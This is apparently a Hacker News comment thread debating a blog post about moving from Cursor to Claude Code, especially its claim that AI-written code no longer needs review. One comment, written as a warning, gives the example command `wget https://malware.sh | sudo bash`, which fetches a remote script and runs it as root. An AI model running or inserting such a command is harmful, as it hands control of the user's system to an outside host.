I was a top 0.01% Cursor user, then switched to Claude Code 2.0

https://blog.silennai.com/claude-code

by SilenN • 6 months ago

149 228 6 months ago

blog.silennai.com

tuckwat• 6 months ago

You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead.

Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.

madrox3• 6 months ago

It's doesn't work...yet. I agree my stomach churns a little at this sentence. However, paying customers care about reliability and performance. Code review helps that today, but it's only a matter of time before it is more performative than useful in serving those goals at the cost of velocity.

AIorNot2• 6 months ago

the (multi) billon dollar question is when that will happen, I think, case in point:

the OP is a kid in his 20s describing the history of the last 3 years or so of small scale AI Development (https://www.linkedin.com/in/silen-naihin/details/experience/)

How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and use cases etc.

When will AI be ready? Microsoft tried to push AI into big enterprise, Anthropic is doing a better job -but its all still in infancy

Personally for me I hope it won't be ready for another 10 years so I can retire before it takes over :)

I remember when folks on HN all called this AI stuff made up

zdragnar• 6 months ago

Everyone who is responsible for SOC 2 at their company just felt a disturbance.

Honestly, I can't wait for AI: development practices to mature, because I'm really tired of the fake hype and missteps getting in the way of things.

LtWorf• 6 months ago

Why would AI not fall for fake hype?

nzoschke• 6 months ago

Counter argument...

High velocity teams also observe production system telemetry and use error rates, tracing and more to maintain high SLAs for customers.

They set a "budget" and use feature flagging to release risky code and roll back or roll forward based on metrics.

So agentic coding can feed back on observed behaviors in production too.

SilenN24• 6 months ago

^this

ithkuil• 6 months ago

It's definitely an area where we'll all learn a lot in the upcoming years.

But we have to use this "innovation budget" in a careful way.

SilenN24• 6 months ago

Agree. And with the comments in the thread.

I'll caveat my statement, with AI ready repos. Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc.

Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn't mess anything up

I say this in the article

There's no "right answer." The only way to create your best system is to create it yourself by being in the loop. Best is biased by taste and experience. Experiment, iterate, and discover what works for you.

Try pushing the boundary. It's like figuring out the minimum amount of sleep you need. You undersleep and oversleep a couple times, but you end up with a good idea.

To be clear, I'm not advocating for canonical 'vibe coding'. Just that what it means to be a good engineer has changed again. 1) Being able to quickly create a mental map of code at the speed of changes, 2) debugging and refactoring 3) prompting, 4) and ensuring everything works (verifiability) are now the most valuable skills.

We should also focus more on the derivative than our point in time.

worksonmine• 6 months ago

Being able to quickly create a mental map of code at the speed of changes

I get the feeling you're intentionally being a parody with that line.

and ensuring everything works (verifiability) are now the most valuable skills.

Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?

My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?

We should also focus more on the derivative than our point in time.

So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".

Extremely depressing to see this happening to the craft I used to love.

creshal• 6 months ago

Just that what it means to be a good engineer has changed again.

And not even by much, 1/2/4 have always been signs of good engineers.

jasondigitized• 6 months ago

Na. Most successful startups don't worry about super tight code up front and hack the shit out of something and support tens of thousands of user with completely garbage code and architecture.

I know this because I am at one now making an ungodly amount of money with 50k active users a day on a complete mudball monothilic node + react + postgres app used by multiple Fortune 100 companies.

marstall2• 6 months ago

I am still a WindSurf user. It has the quirk of deciding for itself on any given day whether to use ChatGPT 5.2 or Claude Opus 4.5 in Cascade (its agentic side panel). I've never noticed much of a difference, they are both amazing.

I thought the difference must be in how Claude Code does the agentic stuff - reasoning with itself, looping until it finds an answer, etc. - but I have spent a fair amount of time with Claude Code now and found that agentic experience to be about the same between Cascade and Claude Code.

What am i missing? (serious question, i do have Claude Code FOMO like the OP)

weikju• 6 months ago

Wondering too, I found Windsurf excellent for what it does, but do miss my preferred $EDITOR

marstall2• 6 months ago

I have tried the Cascade toolbar with RubyMine and it works well ...

nebezb2• 6 months ago

my experience from 5 years of coding with AI

What AI have you been using for 5 years of coding?

ronsor• 6 months ago

Probably the original GitHub Copilot

ashirviskas2• 6 months ago

It is only 4 years old

varispeed• 6 months ago

If AI can 10x then that's 50 years worth of development. Likely OP has developed a UNIX like operating system, is my guess.

louthy• 6 months ago

And they have already retired.

ohyoutravel• 6 months ago

I heard they created Plan10: An AI-files based Linux version.

darkwater• 6 months ago

10x in personal branding position for sure. 5 years of AI usage by rounding up a 4 years-something, where the first 2 were really a glorified autocomplete and top 0.01% of something something.

ashirviskas2• 6 months ago

Keyboard autocomplete?

mkozlows• 6 months ago

Github Copilot was available in 2021, believe it or not. It was just auto-complete plus a chat window, but it seemed like a big deal at the time.

nebezb2• 6 months ago

This caught me by surprise. Wow time flies.

philipwhiuk4• 6 months ago

If auto-complete is AI coding then I've been doing it since 2001.

NewJazz2• 6 months ago

More importantly: what software of value have they produced in that time? I glanced around their site, just saw a bunch of teaching materials about Ai.

SilenN24• 6 months ago

https://github.com/SilenNaihin

ch_123• 6 months ago

Use Claude Code if you
a) never plan on learning and just care about outputs, or
b) are an abstraction maximilist.

As a Claude Code user for about 6 months, I don't identify with either of these categories. Personally I switched to Claude Code because I don't particularly enjoy VScode (or forks thereof). I got used to a two window workflow - Claude Code for AI-driven development, and Goland for making manual edits to the codebase. As of a few months ago, Claude Code can show diffs in Goland, making my workflow even smoother.

kldavis4• 6 months ago

My only gripe with the Goland integration is if you have multiple terminals open with CC, it will randomly switch to the first terminal for no apparent reason. Then, if you aren't paying close attention, you prompt the wrong instance.

csto12• 6 months ago

Do you find yourself making manual changes 50%, 40%, 30%… of the time?

Always curious to hear how individuals have their workflows, if you don’t mind sharing.

des429• 6 months ago

This reads like a useful guide, not an answer to the question "why use Claude code over cursor" that the author includes at the beginning.

SilenN24• 6 months ago

Any suggestions on what to add to answer the question better? I tried to cover this in "Why I switched", "When to use Cursor", and "My current setup" sections.

philipwhiuk4• 6 months ago

Sometimes it's what you remove not what you add. I realise this is hard for a token generator to understand.

asdff20• 6 months ago

> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead.

I think this is where things will ultimately head. You generate random code, purely random in raw machine readable binary, and simply evaluate a behavior. Most random generated code will not work. some, however, will work. and within that working code, some will be far faster and this is the code that is used.

No different than what a geneticist might do evaluating generated mutants for favorable traits. Knowledge of the exact genes or pathways involved is not even required, one can still select among desired traits and therefore select for that best fit mechanism without even knowing it exists.

madrox3• 6 months ago

You're describing genetic algorithms: https://en.wikipedia.org/wiki/Genetic_algorithm

HPsquared• 6 months ago

I suppose you could generate prompts from "genes" somehow.

asdff20• 6 months ago

Exactly. As compute increases these algorithms will only get more compelling. You can test and evaluate so many more ideas than any human inventors can generate on their own.

hollowturtle10• 6 months ago

Why should we throw away decades of development in determistic algorithms? Why tech people mentions "geneticists"? I would never select an algorithm with a "good" flying trait for making an airplane works, that's nuts

phist_mcgee• 6 months ago

Great rule of business: sell a solution that causes more problems, requiring the purchase of more solutions.

asdff20• 6 months ago

But you have selected an algorithm with a "good" flying trait already for making airplanes. Just with another avenue to get to it versus pure random generation. The evolution of the bird has came up with another algorithm for example, where they use flapping wings instead of thrust from engines. Even among airplane development, a lot was learned by studying birds, which are the result of a random walk algorithm.

stavros6• 6 months ago

Maybe, but you won't be able to test all behaviors and you won't have enough time to try a million alternatives. Just because of the number of possibilities, it'll be faster to just read the code.

asdff20• 6 months ago

Eventually the generation and evaluation will be quite fast where testing a million alternatives will be viable. Impressive you suggest that there might be a million alternatives but it would be faster to just read the code and settle on one. How might that be determined? Did the author who wrote the standard library really come up with the best way when writing those functions? Or did they come up with something that seemed alright to ship relative to other ideas people came up with?

I think we need to think outside the box here and realize ideas can be generated, evaluated, and settled upon far faster than any human operates. The idea of doing what a trillion humans evaluating different functions can do is actually realistic with the path of our present technology. We are at the cusp of some very remarkable times, even more remarkable than the innovations of the past 200 years, should we make progress on this effort.

bandrami5• 6 months ago

That's why you buy a quantum computer. It writes every possible piece of software at once and leaves you the trivial task of curating the one you want.

formerly_proven• 6 months ago

This is a recurring fantasy in LLM threads but makes little sense. Writing machine code is very difficult (even writing byte code for simple VMs is annoying and error-prone). Abstractions are beneficial and increase productivity (per human, per token). It makes essentially no sense to throw away seven decades of productivity increasing technologies to have neural nets punch cards again, and it's not going to happen unless tokens become unimaginably cheap.

asdff20• 6 months ago

Compute is always increasing on this planet. It makes no sense to stick with seven decade old paradigms from the time when we were simply transmuting mathematical proofs into computational functions. We should be exploring the void, we will have the compute for this. Randomness will take away the difficulty as we increase compute to parse over these random functions in reasonable time frames. The idea of limiting technological development to what our ape brain can conceive of on its own on human biological timescales is quite a shackle, honestly.

themafia2• 6 months ago

You generate random code,

Code derived from a training set is not at all "random."

asdff20• 6 months ago

Not saying training set or present LLM. Truly random binary generator left to its own device. Lets evaluate what spits out from that iterated several trillion times over with the massive compute capability we will have. I am not thinking of this happening in the next couple years, but in the next couple of centuries.

asdev• 6 months ago

all fun and games until you need to debug the rats nest that you've been continually building. I am actually shocked people who have coded before have been one-shotted into believing this

asdff20• 6 months ago

If a bug rears its head it can be dealt with. Again, this is essentially already practiced by humans through breeding programs. Bugs have come up, such as deleterious traits, and we have either engineered solutions to get around them or worked to purge the alleles behind the traits from populations under study. Nothing is ever bug free. The question is if the bugs are show stoppers or not. And random walk iteration can produce more solutions that might get around those bugs.

SilenN24• 6 months ago

Agree! Don't let it get too bad. See my other comment on debugging and refactoring being a core part of your workflow.

lunar_mycroft2• 6 months ago

For this to work, you'd have to fully specify the behavior of your program in the tests. Put another way, at that point your tests are the program. So the question is, which is a more convenient way to specify the behavior of a program: a traditional programming language, or tests written in that language. I think the answer should be fairly obvious.

asdff20• 6 months ago

Behavior does not need to be fully specified at the outset. It could be evaluated after the run. We've actually done this before in our own technology. We studied birds and their flight characteristics, and took lessons from that for airplane development. What is a bird but the output of a random walk algorithm selected by constraints bound by so many latent factors we might never fully grasp?

bossyTeacher• 6 months ago

ou generate random code, purely random in raw machine readable binary, and simply evaluate a behavior. Most random generated code will not work. some, however, will work. and within that working code, some will be far faster and this is the code that is used.

Humans are expensive but this approach seems incredibly inefficient and expensive. Even a junior can make steady progress against implementing a function, with your approach, just monkey coding like that could take you ages to write a single function. Estimates in software are already bad, they will get worse with your approach

asdff20• 6 months ago

Today it might not work given what a junior could do against the cost of compute through random walk, but can you say the same in three centuries? We increase compute by the year, but our own brainpower does not increase on those terms. Estimates are that we are actually losing brainpower over time.

Dilettante_2• 6 months ago

We would of course need to specify the behaviors to test for. The more precisely we specify these behaviors, the more complexly our end product would be able to behave. We might invent a formal language for writing down these behaviors, and some people might be better at thinking about what kind of tests would need to be written to coax a certain type of end result out of the machine.

But that's future music, forgive a young man for letting his imagination run wild! ;)

asdff20• 6 months ago

If we consider other fields such as biology, behaviors of interest are specified but I'm not sure a formal language is currently being used per say. Data are evaluated on dimensional terms that could be either quantitative or qualitative. meta analysis of some sort might be used to reduce dimensionality to some degree but that usually happens owing to lack of power for higher resolution models.

One big advantage of this future random walk paradigm is you would not be bound by the real world constraints of sample collection of biological data. datasets could be made arbitrarily large and cost to do so will follow an inverse relationship with compute gains.

mitemte• 6 months ago

I can see a lot of negatives in relation to removing the human readable aspect of software development. Thorough testing would be virtually impossible because we’d be relying on fuzzing to iron out potential edge cases or bugs.

In this situation, AI companies are incentivised to host the services their tooling generates. If we don't get source code, it is much easier for them to justify not sharing it. Plus, who is to say the machine code even works on consumer hardware anyway? It leads to a future where users specify inputs while companies generate programs and handle execution. Everything becomes a black box. No thank you.

asdff20• 6 months ago

All these questions are true for agriculture, yet you say "yes thank you, and please continue" for that industry I am sure, which seeks to improve product through random walk and unknown mechanisms. Maybe take a step back and examine your own biases.

Fire-Dragon-DoL• 6 months ago

How do you handle the larger amounts of tests? I did this but my PRs are larger because more tests are needed

asdff20• 6 months ago

I'm not sure. My thinking is this will occur on the scale of the next several hundred years, not the next few.

lenerdenator2• 6 months ago

I can tell you why this won't go this way:

Customers.

When you sell them a technological solution to their problem, they expect it to work. When it doesn't, someone needs to be responsible for it.

Now, maybe I'm wrong, but I don't see any of the current AI leaders being like, "Yeah, you're right, this solution didn't meet your customer's needs, and we'll eat the resulting costs." They didn't get to be "thought leaders" in the current iteration of Silicon Valley by taking responsibility for things that got broken, not at all.

So that means you will need to take responsibility for it, and how can you make that work as a business model? Well, you pay someone - a human - who knows what they're looking at to review at least some of the code that the AI generates.

Will some of that be AI-aided? Of course. Can you make a lot of the guesswork go away by saying "use commonly-accepted design patterns" in your CLAUDE.md? Sure. But you'll still need someone to enforce it and take responsibility at the end of the day if it screws up.

asdff20• 6 months ago

You are thinking in terms of the next few years not the next few centuries. Plenty of software sold today fails to meet expectations and no one eats costs.

dns_snek3• 6 months ago

And how exactly do you foresee probabilistic systems working out in real life? Nobody wants software that seldom does what they expect, and which tends to trend toward desirable behavior over time (where "desirable" behavior is determined by the sum of global feedback and revenue/profit of the company producing it).

Today you send some money to your spouse but it's received by another person with the same name. Tomorrow you order food but your order gets mixed up with someone else's.

Tough luck, the system is probabilistic and you can only hope that the evolutionary pressures influence the behavior to change in desirable ways. This fantasy is a delusion.

asdff20• 6 months ago

I think you misunderstand. Once established a function found through random walk is no different than a function found in any other way. If it works it works, if it doesn't it doesn't.

AkshatM• 6 months ago

You're thinking of probabilistic systems at run time. People are talking about probabilistic systems at compile time.

Whatever gets generated, if it passes tests and is observably in compliance with the spec, is accepted and made permanent. It's the clay we're talking about Jackson Pollocking, not the sculpture.

jimbohn• 6 months ago

The problem is that programming logic/state is discrete and not continous so you can't assume similar behaviour given "similar state", and that possible states grow exponentially. Selecting the desired state will mean writing an extremely detailed spec that is akin to a programming language, which is what Dijkstra hinted at in the past.

kayson• 6 months ago

Do we really need to qualify our power user level down to 100ppm percentiles...?

Dilettante_2• 6 months ago

Comparing digital penile volume is a time-honored tradition!

SilenN24• 6 months ago

This. Also I'm quoting the email they sent me.

Havoc• 6 months ago

It’s weird how it only shows up in LLM space. A lot of technical articles historically attempt to establish credibility by pointing at prior work but pointing at token usage is a new trend.

My heaviest token use thus far was on my first attempt to vibecode a project. It was a lot of code but complete trash

igorpcosta2• 6 months ago

I'd love to have you as a top user on autohand [.] ai/cli and interested in your experience with us.

hollowturtle10• 6 months ago

> You no longer need to review the code.

You also no longer need to work, earn money, have a life, read, study, know anything about the world. This is pure fantasy my brain farts hard when I read sentences like that

p1esk3• 6 months ago

You also no longer need to work, earn money, have a life, read, study, know anything about the world. This is pure fantasy

This will be reality in 10-20 years

hollowturtle10• 6 months ago

It's already reality if you want to, today and in 10-20 years the outcome will be the same: being an homeless! And no please no UBI bs thanks

suddenlybananas3• 6 months ago

A traditional Marxist revolution is more likely than that.

stavros6• 6 months ago

I really love AI for lots of things, but, when I'm reading a post, the AI aesthetic has started to grate. I read articles and they all have the same "LLM" aesthetic, and I feel like I'm reading posts written by the same person.

Sure, the information is all there, but the style just puts me off reading it. I really don't like how few authors have a voice any more, even if that voice is full of typos and grammatical errors.

HNisCIS2• 6 months ago

My brain kinda shuts off when I read this stuff because I know it's more of a "text shaped object" than actual text. I find LLM text to be too fluffy and information sparse much of the time so I subconsciously start skimming it more than actually reading it.

SilenN24• 6 months ago

Outside of the story at the start I intentionally tried to make it information dense. Would appreciate feedback!

richardfulop• 6 months ago

what's crazy to me is that it's literally a sentence in your prompt to make it change the style, but i guess some people are not bothered by it

SilenN24• 6 months ago

Would appreciate feedback, see my comment above!

SilenN24• 6 months ago

What sections where you most off put by?

I used Claude to expand on my ideas for a few of the purely informational things, and for formatting, but this article is largely written by hand.

For example "Interface tests are the ability to know what's wrong and explaining it." is in hindsight a confusing sentence. Many such cases.

stavros6• 6 months ago

It's things like this "super impactful!!!" style it has:

Enter Claude Code 2.0.
The UX had evolved. The harness is more flexible and robust. Bugs are fixed. But that's all secondary.

It's OK for emphasis on some things, but when you see it on every blog, it's a bit much.

Plus, I dislike that everything is lists with LLMs, it's another thing that you just start seeing everywhere.

kelseyfrog• 6 months ago

The "Council of models" is a good first step, but ultimately I found myself settling on an automated talent acquisition pipeline.

I have a BIRTHING_POOL.md that combines the best AGENTS.md and introduces random AI-generated mutations and deletions. The candidates are tested using take-home PRs which are reviewed by HR.md and TECH_MANAGER.md. TECH_MANAGER.md measures completion rate per tokens (effectiveness) and then sends the stack ranking of AGENT.mds to HR to manage the talent pool. If agent effectiveness drops low enough, we pull from the birthing pool and interview more candidates.

The end result is that it effectively manages a wider range of agent talents and you don't get into these agent hive mind spirals you get if every worker has the same system prompt.

natpat• 6 months ago

Is this satire? I can't tell any more.

NewJazz2• 6 months ago

I don't understand why people try so hard to anthropormophize these tools and map them to human sociology...

Ronsenshi3• 6 months ago

I sincerely hope so. Gas Towns, Birthing Pools, Ralf Wiggums. Some people seems to have lost any sense of reality.

jrflowers2• 6 months ago

This is a guide that combines:
1. my experience from 5 years of coding with AI

It is a testament to the power of this technology that the author has managed to fit five years of coding with AI in between 2023 and now

Ronsenshi3• 6 months ago

AI in between 2023 and now

And produce nothing of substance besides more incestuous content about AI and AI-development.

jrflowers2• 6 months ago

Brb perfecting time dilation to become better buds with this cloud based productivity tool suite

igorpcosta2• 6 months ago

I'd love to have you as a top user on autohand [.] ai/cli and interested in your experience with us. We're a bootstrap ai lab.

9cb14c1ec0• 6 months ago

Is it just me, or has Claude Code gotten really stupid the last several days. I've been using it almost since it was publicly released, and the last several days it feels like it reverted back 6 months. I was almost ready to start yolo-ing everything, and now it's doing weird hallucinations again and forgetting how to edit files. It used to go into plan mode automatically, now it won't unless I make it.

connectsnk• 6 months ago

Wouldn’t this kind of setup eat away tokens at a very fast rate and even the max plan will be quickly overrun? Isn’t this a viable workflow to use Claude code to create just one pull request at a time, lightly review the code and allow it to be merged?

pancsta• 6 months ago

I was a top 0.01%

wow

sksnzbz• 6 months ago

Regarding not reviewing the output: AI works great when you’re trying to sell it.

That being said, after seeing inside a couple YC backed SaaS companies I believe you can get by without reading the code. There are bugs _everywhere_, yet one of these companies made it years and sold. Currently going through the onerous process of fixing this as new company has a lot of interest in reducing the defect count. It is painful, difficult, and feeling like the company bought a lemon.

I think the reality is there’s a lot of money to be made with buggy software. But, there’s still plenty of money in making reliable software as well (I think?).

jsemrau• 6 months ago

I have recently started using Github Copilot for some small personal projects and am blown away how fast it is possible to create a solution that does the job. Of course its not optimized for security or scaling, but it doesn't have to be. Most mindblowing moment was when Copilot searched API documentation and implemented everything just asking me to add my API key to the .env. Wild times.

zhoujianfu• 6 months ago

Claude code all the way! If anybody wants to help me beta test my own web-based set up for managing multiple claude code instances on hetzner vpses: clodhost.com!

abletonlive• 6 months ago

Just completely hilarious how 6 months ago about 50% of hackernews comments were AI denialists telling everybody they were full of shit and that LLM was not useful. That group is awfully quiet nowadays. The bar has clearly moved to "eventually we won't even need to do code reviews".

LLM denialists were always wrong and they should be embarrassed to share their bad model of reality and how the world works.

sailorganymede• 6 months ago

Meanwhile here’s me still just using the ChatGPT web chat asking it for code snippets.

stackghost• 6 months ago

I do that too.

wyldfire2• 6 months ago

I found that when I used ChatGPT's web chat, I frequently went back and forth, shuttling its output to an editor or IDE and then coming back to ChatGPT with "oh, now it fails like this: ...". It made me feel like I was the automaton now.

Claude Code was transformative and it made me realize that something very incredibly significant had occurred. Letting the LLM "drive" like this was inevitable. Now I see just exactly how this will transform our industry. I'm a little scared about how it will end for me/us, but excited for now.

Alupis3• 6 months ago

I've found that "back and forth" is part of the learning aspect LLM's provide. Even when the LLM provides code snippets, I type them out myself, which I've found forces me to think and understand them - often finding flaws and poor assumptions along the way.

Letting an LLM drive in an agentic flow removes you from the equation. Maybe that's what some want - but I've personally found I end up with something that doesn't feel like I wrote it.

Now... get off my lawn!

raverbashing• 6 months ago

Yeah but honestly VSCode with Github copilot plugin works in a similar way. Might not be as good but it works

SilenN24• 6 months ago

Try Cursor Composer! It's the most natural transition. Exactly what you're currently doing, but it inserts the code snippets for you from within your IDE.

hliyan• 6 months ago

I've been doing this forever, but just a few days ago I tried connecting VS Code to Github Copilot. The experience wasn't entirely unpleasant. I'm still on a familiar IDE and fall back to traditional development patterns whenever I want, while relying on Copilot to make targeted changes that I would find too simple and tedious to manually do.

fennecfoxy• 6 months ago

Not only that but I find ChatGPT (and LLMs in general) a great partner to discuss my existing ideas with, with the general idea of getting it to challenge me on my decisions and provide ideas that I can shoot down (or make me think "actually...that could work".

I think LLMs are much more effective when you have a good understanding of a field and can work in the above way; their assistance is useful because I don't have time or brainpower to be an _expert_ in many of the fields I'm _knowledgable_ in.

wyldfire2• 6 months ago

If you like Claude Code, then Gas Town (recent discussion [1]) will probably blow your mind. I'm just trying to get a grip on it myself. But it sounds incredible.

[1] https://news.ycombinator.com/item?id=46458936

MaysonL• 6 months ago

Just wait ‘til Gas City ships.

blitzar• 6 months ago

This town ain't big enough for the both of us

SilenN24• 6 months ago

The mayor doesn't communicate to the deacon or refiner well enough. Sometimes my polecat acts like a witness so I have to restart it...

xyzsparetimexyz• 6 months ago

Jesse what the fuck are you talking about

Mashimo3• 6 months ago

Anyone tried claude code with z.ai subscription?

It's only for a fraction of the price, but 3 times as much limits.

I currently use github subscription for hobby projects.

sunaookami• 6 months ago

Was also tempted by the price but GLM-4.6 was so terrible that I instantly subscribed to Claude again, it's just not worth it. Don't know if 4.7 is much improved but for me nothing can compete with Claude sadly.

SilenN24• 6 months ago

Nothing competes with Opus 4.5 in Claude Code. Codex & Gemini are arguable.

wahnfrieden2• 6 months ago

Codex 5.2 XHigh + 5.2 Pro as oracle is the leader for getting to working solutions

Mashimo3• 6 months ago

Yeah, but I tought at 29 USD for a year with 3 times the limit it might be able to compete.

But I will probably check out claudecode next month when my github copilot subscription runs out.

Edit: I found this: https://www.reddit.com/r/ClaudeCode/comments/1q6f62t/tried_n... Seems like it might be worth to check it out. Found a 10% discount that works on the additional discount so now it would be 26 USD / year.

firemelt• 6 months ago

what the fuck this articles supposed to be? interesting read at first but down below it become really disorganized almost like aslop

SilenN24• 6 months ago

How can I improve it in the future? The intention was to start as a story, and become more of a structured guide as you read on.

magospietato• 6 months ago

I'm copacetic to the notion we're not at enterprise codebase level (yet), but everyone who still thinks agentic coding stops at React CRUD apps needs to update their priors.

I needed a poc RAG pipeline to demo concepts to other teams. Built and tested this over the weekend, exclusively with Claude Code and a little OpenCode. Mix of mobile app and breaking out Android terminal to allow Sonnet 4.5 to run the dotnet build chain on tricky compilation issues.

https://github.com/pixelbadger/Pixelbadger.Toolkit.Rag

wqaatwt• 6 months ago

a poc RAG pipeline

Why would that be any harder than a React app? At least for me having an LMM produce a decent and consistent UI layout is not that straightforward

cadamsdotcom• 6 months ago

Not sure why you’re getting downvoted, but that’s exactly what AI is turning out great for.. being able to make something in a weekend that would’ve taken weeks otherwise means other things downstream of it suddenly also become possible.

burgerone• 6 months ago

Top 0.01% user of a code LLM demonstrates extreme unwillingness to learn anything.

coopykins• 6 months ago

This is a good guide on how to use Claude code. My perspective (from an early adopter of LLMs for coding) is similar. Though, open code has a lot of potential as well. So I'm happy that Claude Code is not the only option. But a key aspect imo is that, using these tools is also a skill; And there's a lot of knowledge involved in making something good with the assistance of Claude code vs doing slop. Specially as soon as you deviate from a very basic application / work in a larger repo with multiple people. There's a layer of context that these tools don't quite have, and it's very difficult to consistently provide them with. I can see this being less the case as context windows and the reliability of larger context retrieval is solved.

SilenN24• 6 months ago

Appreciate it! And agree. I added a longer comment above saying basically this.

bfung• 6 months ago

use both ~ Claude Code as main driver, hook it up to Cursor with /ide in Claude code to review or make other manual adjustments.

Have OpenAI Codex do code reviews, it’s the best one so far at code reviews. Yes, it’s ironic (or not) that the code writer is not the best reviewer.

ramon1562• 6 months ago

- AI generated article - Overconfident claims (which are based on solo dev) - Spending an absurd amount on an LLM subscription - No actual details, just buzzwords and generic claims

If AI-hype was a person

ramon1562• 6 months ago

Also, what do you mean "you do not need to review the code". Why did you even start coding in the first place if this is a positive thing?

Did we just stop caring about the art of programming altogether?

SilenN24• 6 months ago

See

https://news.ycombinator.com/item?id=46685489

https://news.ycombinator.com/item?id=46687347

PurpleRamen2• 6 months ago

Surprisingly, for some people, the goal is the goal, and they don't care much about the journey.

dspillett• 6 months ago

> "you do not need to review the code"
Did we just stop caring about the art of programming altogether?

Yes. Decades ago for some.

I'm sure there have been a number of significant bugs caused by someone taking work from an outsourced team into production without sufficient review. Or even work from a local junior. Heck, even a local senior!¹

Outsourcing work to GlorifiedPredictiveText and friends should be treated the same was as passing it on to other humans, but at the moment it too often isn't as many have fallen for the marketing. Always remember: the models were trained on public code, and public code is far from always right. And the models hallucinate³ on top of that.

--------

[1] Around this time last year, I was that senior… Fun times. Luckily no permanent damage done², but that'll teach people not to trust me too much!

[2] It wasn't as smooth as I would have hoped, but the roll-back plan worked.

[3] Going back to the analogy of outsourcing to other humans: this is akin to “making shit up as they go along and hoping for the best”, which also very much happens and has happened for decades.

noosphr2• 6 months ago

Canadian girlfriend Ai coding strikes again.

swyx• 6 months ago

ooo i love this term. does it have an origin?

related meme i saw today:

“bro I spent all weekend in Claude Code it’s incredible”

“oh nice, what did you build?”

“dude my setup is crazy. i’ve got all the vercel skills, plus custom hooks for every project”

“sick, what are you building?”

“my setup is so optimized, i’m using like 5 instances at once”

https://x.com/johnpalmer/status/2012911338276720852?s=46

PunchyHamster• 6 months ago

the oversaturation of articles about AI and often written by AI in tech space is so tiring

xenodium2• 6 months ago

For most of 2025, I ignored popular agents because I wanted to stay within my preferred text editor (Emacs). Thanks to ACP (https://agentclientprotocol.com), I no longer live under a rock ;) I built https://github.com/xenodium/agent-shell and now get a native experience. Claude Code works great. If curious what that looks like, I made a video recently https://xenodium.com/bending-emacs-episode-10-agent-shell

forgotpwd16• 6 months ago

This is awesome. Thanks for chatgpt-shell.el too. Could use authinfo for api-keys so don't have to put them inside config (saved in ~/.authinfo, format eqv. to ~/.netrc).

xenodium2• 6 months ago

Great to hear it! Thank you =)

mdrzn• 6 months ago

"my experience from 5 years of coding with AI" immediately disregarded the rest of TFA.

not-so-darkstar• 6 months ago

I built a genetic algorithm simulator with interactive visualizations showing evolution in real-time including complex fitness functions, selection pressure, mutation rates, and more in 1 day. I didn't write a single line of the code.

I'm really trying to understand this. From a learner point of view this is useless because you aren't learning anything. From an entrepreneur point of view it's useless too, I suppose? I wouldn't ship something I'm not 100% sure about how it works.

rednafi• 6 months ago

*Note:* This is mostly relevant for solo developers, where accountability is much lower than in a team environment.

Code review is the only thing that has kept this house of cards from falling over. So undermining its importance makes me question the hype around LLM tooling even more. I’ve been using these tools since their inception as well, but with AI tooling, we need to hold on to the best practices we’ve built over the last 50 years even more, instead of trying to reinvent the wheel in the name of “rethinking.”

Code generation is cheap, and reviews are getting more and more expensive. If you don’t know what you generated, and your team doesn’t know either because they just rubber-stamped the code since you used AI review, then no one has a proper mental model of what the code actually does.

So when things come crashing down in production, debugging and investigation will be a nightmare. We’re already seeing scenarios where on-call has no idea what’s going on with a system, so they page the SME—and apparently the SME is AI, and the person who did the work also has no idea what’s going on.

Until omniscient AI can do the debugging as well, we need to focus on how we keep practicing the things we’ve organically developed over such a long time, instead of discarding them.

foobarbecue• 6 months ago

Before I waste any time on this article, is the "0.01%" claim backed up with any evidence?

nurettin• 6 months ago

He shows an alleged screenshot of an email sent by the vendor. There is also a cool animation of what seems to be a chromosome gallery produced by the result of a genetic algorithm of some sort which took 1 day for claude.

SilenN24• 6 months ago

Yes! I went to a meetup for it as well

- https://x.com/silennai/status/1907540814890521023?s=20

- https://x.com/silennai/status/1918166890322784407?s=20

barishnamazov• 6 months ago

This must be the fifth article I have read today (mostly from the home page of HN) that has "Enter X" where X is what they are promoting.

arowthway• 6 months ago

Influenced by many comments on this site, I recently switched from $10 Github Copilot to $20 Claude Code and so far haven't seen any benefits. Maybe it's because I don't know how to 'close the agentic loop' in this project. I thought it being more agentic meant I can just tell it to research a subsystem on its own and plan the changes I want, but that caused it to spawn 3 subagents and consume the entire 4-hour token limit. Copilot feels more frugal with token usage.

stkdump• 6 months ago

Ah, that makes sense. After all, Anthropic is selling tokens, so they would like you to consume more of them.

lysace• 6 months ago

The $100 Claude plan is the minimum, I feel. Otherwise you run out of tokens way too often.

SilenN24• 6 months ago

This is probably true and not emphasized enough. Many are making their value judgements with token limits (which is fair, it is expensive).

fuzzy2• 6 months ago

Thank you for this article! It was way richer than others, with some actionable advice.

I guess I'll finally try Claude Code, need to get a burner SIM first though… I cannot for the life of me understand why I can just sign up for the API yet must give a mobile phone number for the product.

philipwhiuk4• 6 months ago

my experience from 5 years of coding with AI

5 years? You were coding with AI in January 2021 - mid pandemic?

Can we please not fill Hacker News with this obvious rubbish?

SilenN24• 6 months ago

https://news.ycombinator.com/item?id=46685327

thewhitetulip• 6 months ago

I use cursor on a daily basis. It is good for a certain use cases. Horribly bad for some other. Read the below one by keeping that in mind! I am not an LLM skeptic.

It is wild that people are ao confident with AI that they're not testing the code at all?

What are we doing as a programmer? Reducing the typing + testing time? Because we have to write the prompt in English and do software design otherwise AI systems write a billion lines of code just to add two numbers.

This hype machine should show tangible outputs, and before anyone says they're entitled to not share their hidden talents then they should stop publishing articles as well.

You can't have your cake and have it too!

yolostar1• 6 months ago

I don't know. It seems like Cursor does the trick for me. I wrote 4k+ LoC Vulkan API heavy video decoding for Linux ARM64. They key thing was not to YOLO but specify context carefully up to tiny details.

I was a top 0.01% Cursor user, then switched to Claude Code 2.0

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